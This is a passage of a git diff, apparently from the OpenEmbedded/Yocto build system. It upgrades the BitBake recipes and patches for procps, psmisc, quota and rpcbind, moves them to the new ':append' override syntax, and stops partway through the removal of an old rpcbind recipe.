+ install ${B}/pigz ${D}${base_bindir}/pigz
+ ln -nsf pigz ${D}${base_bindir}/unpigz
+ ln -nsf pigz ${D}${base_bindir}/pigzcat
+}
+
+do_install:append:class-native() {
+ install -d ${D}${bindir}
+ install ${B}/pigz ${D}${bindir}/gzip
+ ln -nsf gzip ${D}${bindir}/gunzip
+ ln -nsf gzip ${D}${bindir}/zcat
+}
+
+ALTERNATIVE_PRIORITY = "110"
+ALTERNATIVE:${PN} = "gunzip gzip zcat"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
+ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
+ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
+ALTERNATIVE_TARGET = "${base_bindir}/pigz"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch b/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch
new file mode 100644
index 0000000000..c92ad28e4f
--- /dev/null
+++ b/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch
@@ -0,0 +1,44 @@
+From 22f8d25567b8d64bdbab0fb0b4915b4362561d9b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 24 Feb 2021 21:14:31 +0000
+Subject: [PATCH] w.c: correct musl builds
+
+No need to redefine UT_ stuff to something that does not exist.
+
+UT_ is already provided in musl but via utmp.h header, so include
+it always.
+
+Upstream-Status: Submitted [https://gitlab.com/procps-ng/procps/-/merge_requests/126]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ w.c | 9 +--------
+ 1 file changed, 1 insertion(+), 8 deletions(-)
+
+diff --git a/w.c b/w.c
+index 9d07ac9..d10639b 100644
+--- a/w.c
++++ b/w.c
+@@ -57,9 +57,8 @@
+ #include <unistd.h>
+ #ifdef HAVE_UTMPX_H
+ # include <utmpx.h>
+-#else
+-# include <utmp.h>
+ #endif
++#include <utmp.h>
+ #include <arpa/inet.h>
+
+ static int ignoreuser = 0; /* for '-u' */
+@@ -72,12 +71,6 @@ typedef struct utmpx utmp_t;
+ typedef struct utmp utmp_t;
+ #endif
+
+-#if !defined(UT_HOSTSIZE) || defined(__UT_HOSTSIZE)
+-# define UT_HOSTSIZE __UT_HOSTSIZE
+-# define UT_LINESIZE __UT_LINESIZE
+-# define UT_NAMESIZE __UT_NAMESIZE
+-#endif
+-
+ #ifdef W_SHOWFROM
+ # define FROM_STRING "on"
+ #else
diff --git a/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch b/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch
new file mode 100644
index 0000000000..5fa1ac9d78
--- /dev/null
+++ b/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch
@@ -0,0 +1,23 @@
+From 4f964821398dff7ab21fec63da15e1e00b2e9277 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 24 Feb 2021 21:16:14 +0000
+Subject: [PATCH] proc/escape.c: add missing include
+
+Upstream-Status: Submitted [https://gitlab.com/procps-ng/procps/-/merge_requests/126]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ proc/escape.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/proc/escape.c b/proc/escape.c
+index 2e8fb7d..e1f4612 100644
+--- a/proc/escape.c
++++ b/proc/escape.c
+@@ -21,6 +21,7 @@
+ #include <sys/types.h>
+ #include <string.h>
+ #include <limits.h>
++#include <langinfo.h>
+ #include "procps.h"
+ #include "escape.h"
+ #include "readproc.h"
diff --git a/meta/recipes-extended/procps/procps_3.3.16.bb b/meta/recipes-extended/procps/procps_3.3.16.bb
deleted file mode 100644
index 2810ebd285..0000000000
--- a/meta/recipes-extended/procps/procps_3.3.16.bb
+++ /dev/null
@@ -1,76 +0,0 @@
-SUMMARY = "System and process monitoring utilities"
-DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
-the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
-HOMEPAGE = "https://gitlab.com/procps-ng/procps"
-SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
- "
-
-DEPENDS = "ncurses"
-
-inherit autotools gettext pkgconfig update-alternatives
-
-SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https \
- file://sysctl.conf \
- "
-SRCREV = "59c88e18f29000ceaf7e5f98181b07be443cf12f"
-
-S = "${WORKDIR}/git"
-
-# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
-# don't ship a po/POTFILES.in (which is silly). Without that file gettext
-# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-do_configure_prepend() {
- ( cd ${S} && po/update-potfiles )
-}
-
-EXTRA_OECONF = "--enable-skill --disable-modern-top"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
-
-do_install_append () {
- install -d ${D}${base_bindir}
- [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
- install -d ${D}${base_sbindir}
- [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
- if [ "${base_sbindir}" != "${sbindir}" ]; then
- rmdir ${D}${sbindir}
- fi
-
- install -d ${D}${sysconfdir}
- install -m 0644 ${WORKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- install -d ${D}${sysconfdir}/sysctl.d
- ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
- fi
-}
-
-CONFFILES_${PN} = "${sysconfdir}/sysctl.conf"
-
-bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
-base_bindir_progs += "kill pidof ps watch"
-base_sbindir_progs += "sysctl"
-
-ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_PRIORITY[pidof] = "150"
-
-ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
-
-ALTERNATIVE_${PN}-doc = "kill.1 uptime.1"
-ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
-ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
-
-python __anonymous() {
- for prog in d.getVar('base_bindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
-
- for prog in d.getVar('base_sbindir_progs').split():
- d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
-}
-
-# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
-# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
-CVE_CHECK_WHITELIST += "CVE-2018-1121"
diff --git a/meta/recipes-extended/procps/procps_3.3.17.bb b/meta/recipes-extended/procps/procps_3.3.17.bb
new file mode 100644
index 0000000000..9366ec99aa
--- /dev/null
+++ b/meta/recipes-extended/procps/procps_3.3.17.bb
@@ -0,0 +1,103 @@
+SUMMARY = "System and process monitoring utilities"
+DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
+the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
+HOMEPAGE = "https://gitlab.com/procps-ng/procps"
+SECTION = "base"
+LICENSE = "GPLv2+ & LGPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
+ "
+
+DEPENDS = "ncurses"
+
+inherit autotools gettext pkgconfig update-alternatives
+
+SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \
+ file://sysctl.conf \
+ file://0001-w.c-correct-musl-builds.patch \
+ file://0002-proc-escape.c-add-missing-include.patch \
+ "
+SRCREV = "19a508ea121c0c4ac6d0224575a036de745eaaf8"
+
+S = "${WORKDIR}/git"
+
+# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
+# don't ship a po/POTFILES.in (which is silly). Without that file gettext
+# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
+do_configure:prepend() {
+ ( cd ${S} && po/update-potfiles )
+}
+
+EXTRA_OECONF = "--enable-skill --disable-modern-top"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
+
+do_install:append () {
+ install -d ${D}${base_bindir}
+ [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
+ install -d ${D}${base_sbindir}
+ [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
+ if [ "${base_sbindir}" != "${sbindir}" ]; then
+ rmdir ${D}${sbindir}
+ fi
+
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${WORKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -d ${D}${sysconfdir}/sysctl.d
+ ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
+ fi
+}
+
+CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
+
+bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
+base_bindir_progs += "kill pidof ps watch"
+base_sbindir_progs += "sysctl"
+
+ALTERNATIVE_PRIORITY = "200"
+ALTERNATIVE_PRIORITY[pidof] = "150"
+
+ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
+
+ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
+
+python __anonymous() {
+ for prog in d.getVar('base_bindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
+
+ for prog in d.getVar('base_sbindir_progs').split():
+ d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
+}
+
+# 'ps' isn't suitable for use as a security tool so whitelist this CVE.
+# https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3
+CVE_CHECK_WHITELIST += "CVE-2018-1121"
+
+PROCPS_PACKAGES = "${PN}-lib \
+ ${PN}-ps \
+ ${PN}-sysctl"
+
+PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
+RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
+
+RDEPENDS:${PN}-ps += "${PN}-lib"
+RDEPENDS:${PN}-sysctl += "${PN}-lib"
+
+FILES:${PN}-lib = "${libdir}"
+FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
+FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
+
+ALTERNATIVE:${PN}:remove = "ps"
+ALTERNATIVE:${PN}:remove = "sysctl"
+
+ALTERNATIVE:${PN}-ps = "ps"
+ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
+ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
+
+ALTERNATIVE:${PN}-sysctl = "sysctl"
+ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
+ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl" \ No newline at end of file
diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc
index 6ab1288152..ad6263ed94 100644
--- a/meta/recipes-extended/psmisc/psmisc.inc
+++ b/meta/recipes-extended/psmisc/psmisc.inc
@@ -19,7 +19,7 @@ inherit autotools gettext
# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
# don't ship a po/POTFILES.in (which is silly). Without that file gettext
# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
-do_configure_prepend() {
+do_configure:prepend() {
( cd ${S} && po/update-potfiles )
}
@@ -27,30 +27,30 @@ do_configure_prepend() {
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
PACKAGES += "psmisc-extras"
-FILES_${PN} = ""
-RDEPENDS_${PN} = "fuser killall pstree"
+FILES:${PN} = ""
+RDEPENDS:${PN} = "fuser killall pstree"
-FILES_fuser = "${bindir}/fuser.${BPN}"
-FILES_fuser-doc = "${mandir}/man1/fuser*"
+FILES:fuser = "${bindir}/fuser.${BPN}"
+FILES:fuser-doc = "${mandir}/man1/fuser*"
-FILES_killall = "${bindir}/killall.${BPN}"
-FILES_killall-doc = "${mandir}/man1/killall*"
+FILES:killall = "${bindir}/killall.${BPN}"
+FILES:killall-doc = "${mandir}/man1/killall*"
-FILES_pstree = "${bindir}/pstree"
-FILES_pstree-doc = "${mandir}/man1/pstree*"
+FILES:pstree = "${bindir}/pstree"
+FILES:pstree-doc = "${mandir}/man1/pstree*"
-FILES_psmisc-extras = "${bindir}"
-FILES_psmisc-extras-doc = "${mandir}"
+FILES:psmisc-extras = "${bindir}"
+FILES:psmisc-extras-doc = "${mandir}"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_killall = "killall"
+ALTERNATIVE:killall = "killall"
-ALTERNATIVE_fuser = "fuser"
+ALTERNATIVE:fuser = "fuser"
diff --git a/meta/recipes-extended/psmisc/psmisc_23.3.bb b/meta/recipes-extended/psmisc/psmisc_23.3.bb
deleted file mode 100644
index e569f1074b..0000000000
--- a/meta/recipes-extended/psmisc/psmisc_23.3.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require psmisc.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
-
-SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https \
- file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
- "
-SRCREV = "78bde849041e6c914a2a517ebe1255b86dc98772"
-S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/psmisc/psmisc_23.4.bb b/meta/recipes-extended/psmisc/psmisc_23.4.bb
new file mode 100644
index 0000000000..89fe8a709c
--- /dev/null
+++ b/meta/recipes-extended/psmisc/psmisc_23.4.bb
@@ -0,0 +1,9 @@
+require psmisc.inc
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
+
+SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \
+ file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
+ "
+SRCREV = "5fab6b7ab385080f1db725d6803136ec1841a15f"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch
new file mode 100644
index 0000000000..34ded2d857
--- /dev/null
+++ b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch
@@ -0,0 +1,34 @@
+From 02b222a335527f1031cc9495d8c5ebc1bc5b1d4e Mon Sep 17 00:00:00 2001
+From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
+Date: Wed, 11 Nov 2020 15:00:47 +0100
+Subject: [PATCH] quota: Use realloc(3) instead of reallocarray(3)
+
+reallocarray(3) has been added to glibc relatively recently (version
+2.26, from 2017) and apparently not all users run new enough glibc. Just
+use realloc(3) for now since in this case there's no real risk of
+overflow.
+
+Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
+Signed-off-by: Jan Kara <jack@suse.cz>
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ quota.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/quota.c b/quota.c
+index a6ed61f..a60de12 100644
+--- a/quota.c
++++ b/quota.c
+@@ -385,7 +385,7 @@ int main(int argc, char **argv)
+ break;
+ case 259:
+ fscount++;
+- fsnames = reallocarray(fsnames, fscount, sizeof(char *));
++ fsnames = realloc(fsnames, fscount * sizeof(char *));
+ if (!fsnames)
+ die(1, _("Not enough memory for filesystem names"));
+ fsnames[fscount - 1] = optarg;
+--
+2.17.1
+
diff --git a/meta/recipes-extended/quota/quota_4.05.bb b/meta/recipes-extended/quota/quota_4.05.bb
deleted file mode 100644
index c5da1e71ed..0000000000
--- a/meta/recipes-extended/quota/quota_4.05.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
-SECTION = "base"
-HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
- file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
- file://fcntl.patch \
- "
-SRC_URI[md5sum] = "1c1dbd2cd3d680ccac661239b067e147"
-SRC_URI[sha256sum] = "ef3b5b5d1014ed1344b46c1826145e20cbef8db967b522403c9a060761cf7ab9"
-
-CVE_PRODUCT = "linux_diskquota"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
-UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
-
-DEPENDS = "gettext-native e2fsprogs libnl dbus"
-
-inherit autotools-brokensep gettext pkgconfig
-
-CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
-LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
-ASNEEDED = ""
-
-PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
-PACKAGECONFIG_libc-musl = "tcp-wrappers rpc"
-
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
-PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
-PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/quota/quota_4.06.bb b/meta/recipes-extended/quota/quota_4.06.bb
new file mode 100644
index 0000000000..e32bdd4c32
--- /dev/null
+++ b/meta/recipes-extended/quota/quota_4.06.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
+SECTION = "base"
+HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
+DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
+LICENSE = "GPLv2+ & LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
+ file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
+ file://fcntl.patch \
+ file://0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch \
+ "
+SRC_URI[sha256sum] = "2f3e03039f378d4f0d97acdb49daf581dcaad64d2e1ddf129495fd579fbd268d"
+
+CVE_PRODUCT = "linux_diskquota"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
+UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
+
+DEPENDS = "gettext-native e2fsprogs libnl dbus"
+
+inherit autotools-brokensep gettext pkgconfig
+
+CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
+LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
+ASNEEDED = ""
+
+PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
+PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
+
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
+PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
+PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
index b92f2cf7b1..79dc96050e 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
@@ -21,7 +21,7 @@ index 2dd9471..47a46c0 100644
AC_SUBST([_sbindir])
AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
+AC_SUBST([_sysconfdir])
-+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sbindir])
++AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
AC_OUTPUT([Makefile systemd/rpcbind.service])
diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
index 434b6b1c4c..535f9ce20d 100644
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
+++ b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
@@ -15,7 +15,7 @@ Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
3 files changed, 26 insertions(+), 3 deletions(-)
diff --git a/man/rpcbind.8 b/man/rpcbind.8
-index af6200f..2e6146b 100644
+index fbf0ace..66f7c08 100644
--- a/man/rpcbind.8
+++ b/man/rpcbind.8
@@ -11,7 +11,7 @@
@@ -27,17 +27,17 @@ index af6200f..2e6146b 100644
.Sh DESCRIPTION
The
.Nm
-@@ -107,6 +107,8 @@ will automatically add
+@@ -96,6 +96,8 @@ will automatically add
and if IPv6 is enabled,
.Li ::1
to the list.
+.It Fl p
+Bind for fixed UDP port number
- .It Fl i
- .Dq Insecure
- mode.
+ If no
+ .Fl h
+ option is specified,
diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
-index 8aef9e5..c2632a4 100644
+index 1743dad..07a1c75 100644
--- a/src/rpcb_svc_com.c
+++ b/src/rpcb_svc_com.c
@@ -48,6 +48,7 @@
@@ -60,8 +60,8 @@ index 8aef9e5..c2632a4 100644
int fd;
struct rmtcallfd_list *rmt;
SVCXPRT *xprt;
-+ struct __rpc_sockinfo si;
-+ struct t_bind taddr;
++ struct __rpc_sockinfo si;
++ struct t_bind taddr;
if ((fd = __rpc_nconf2fd(nconf)) == -1) {
if (debugging)
@@ -70,23 +70,23 @@ index 8aef9e5..c2632a4 100644
return (-1);
}
+
-+ if (fixed_port) {
-+ __rpc_fd2sockinfo(fd, &si);
-+ memset(&taddr, 0, sizeof(taddr));
-+ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
-+ taddr.addr.buf = malloc(si.si_alen);
-+ if (taddr.addr.buf == NULL) {
-+ return -1;
-+ }
-+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
-+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
-+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
-+ } else
++ if (fixed_port) {
++ __rpc_fd2sockinfo(fd, &si);
++ memset(&taddr, 0, sizeof(taddr));
++ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
++ taddr.addr.buf = malloc(si.si_alen);
++ if (taddr.addr.buf == NULL) {
++ return -1;
++ }
++ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
++ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
++ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
++ } else
xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
if (xprt == NULL) {
if (debugging)
diff --git a/src/rpcbind.c b/src/rpcbind.c
-index 137011b..dc3d2d6 100644
+index 25d8a90..36a95b9 100644
--- a/src/rpcbind.c
+++ b/src/rpcbind.c
@@ -111,6 +111,7 @@ int runasdaemon = 0;
@@ -97,7 +97,7 @@ index 137011b..dc3d2d6 100644
char **hosts = NULL;
int nhosts = 0;
-@@ -869,7 +870,7 @@ parseargs(int argc, char *argv[])
+@@ -884,7 +885,7 @@ parseargs(int argc, char *argv[])
{
int c;
oldstyle_local = 1;
@@ -106,25 +106,25 @@ index 137011b..dc3d2d6 100644
switch (c) {
case 'a':
doabort = 1; /* when debugging, do an abort on */
-@@ -887,6 +888,9 @@ parseargs(int argc, char *argv[])
+@@ -902,6 +903,9 @@ parseargs(int argc, char *argv[])
if (hosts[nhosts - 1] == NULL)
errx(1, "Out of memory");
break;
-+ case 'p':
-+ fixed_port = atoi(optarg);
-+ break;
++ case 'p':
++ fixed_port = atoi(optarg);
++ break;
case 'i':
insecure = 1;
break;
-@@ -905,7 +909,7 @@ parseargs(int argc, char *argv[])
+@@ -920,7 +924,7 @@ parseargs(int argc, char *argv[])
break;
#endif
default: /* error */
- fprintf(stderr, "usage: rpcbind [-adhilswf]\n");
-+ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
++ fprintf(stderr, "usage: rpcbind [-adhpilswf]\n");
exit (1);
}
}
--
-1.9.1
+2.25.1
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
deleted file mode 100644
index ec8f9e48b2..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "Universal Addresses to RPC Program Number Mapper"
-DESCRIPTION = "The rpcbind utility is a server that converts RPC \
- program numbers into universal addresses."
-SECTION = "console/network"
-HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
-DEPENDS = "libtirpc quota"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
- file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
- file://init.d \
- file://rpcbind.conf \
- file://rpcbind_add_option_to_fix_port_number.patch \
- file://0001-systemd-use-EnvironmentFile.patch \
- "
-SRC_URI[md5sum] = "ed46f09b9c0fa2d49015f6431bc5ea7b"
-SRC_URI[sha256sum] = "2ce360683963b35c19c43f0ee2c7f18aa5b81ef41c3fdbd15ffcb00b8bffda7a"
-
-inherit autotools update-rc.d systemd pkgconfig update-alternatives
-
-PACKAGECONFIG ??= "tcp-wrappers"
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-
-INITSCRIPT_NAME = "rpcbind"
-INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
-
-SYSTEMD_SERVICE_${PN} = "rpcbind.service rpcbind.socket"
-
-inherit useradd
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --no-create-home --home-dir / \
- --shell /bin/false --user-group rpc"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/, \
- --without-systemdsystemunitdir, \
- systemd \
-"
-
-EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
-
-do_install_append () {
- install -d ${D}${sysconfdir}/init.d
- sed -e 's,/etc/,${sysconfdir}/,g' \
